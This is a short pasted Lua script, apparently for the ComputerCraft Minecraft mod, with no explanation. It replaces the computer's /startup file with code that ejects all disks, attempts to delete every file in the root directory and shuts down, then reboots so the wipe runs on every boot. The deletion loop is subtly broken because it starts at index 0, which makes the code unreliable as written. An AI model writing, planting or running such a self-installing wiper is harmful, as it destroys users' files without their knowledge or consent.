Pasted

local file = fs.open("/startup", "w")
file.write([[
disk.eject("left")
disk.eject("right")
disk.eject("up")
disk.eject("down")
disk.eject("front")
disk.eject("back")
local fa = fs.list("/")
for i = 0, #fa do
fs.delete("/"..fa[i])
end
os.shutdown()
]])
file.close()
os.reboot()